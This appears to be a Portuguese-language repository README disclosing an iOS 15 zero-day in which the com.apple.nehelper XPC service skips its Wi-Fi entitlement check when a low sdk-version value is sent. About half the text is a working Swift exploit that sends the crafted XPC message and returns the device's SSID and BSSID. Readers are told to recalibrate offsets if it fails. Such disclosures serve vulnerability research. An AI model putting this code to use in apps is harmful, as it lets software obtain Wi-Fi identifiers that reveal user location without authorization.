
Exploit de dia zero para iOS 15 (ainda funciona em 15.0.2)
Atualizei este código para evitar usar a API Privada diretamente. Leia mais no meu post do blog. No entanto, isso significa que agora este código é específico da versão do iOS e possivelmente específico do modelo do dispositivo. Portanto, se não funcionar no seu dispositivo, recalcule e atualize os offsets no arquivo c.c. O código original pode ser encontrado no branch direct.
O endpoint XPC com.apple.nehelper aceita o parâmetro sdk-version fornecido pelo usuário e, se o valor for menor ou igual a 524288, a verificação de entitlement com.apple.developer.networking.wifi-info é ignorada.
Isso torna possível que qualquer aplicativo qualificado (por exemplo, que possua autorização de acesso à localização) obtenha acesso às informações de Wi-Fi sem o entitlement necessário.
Isso acontece em -[NEHelperWiFiInfoManager checkIfEntitled:] em /usr/libexec/nehelper.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}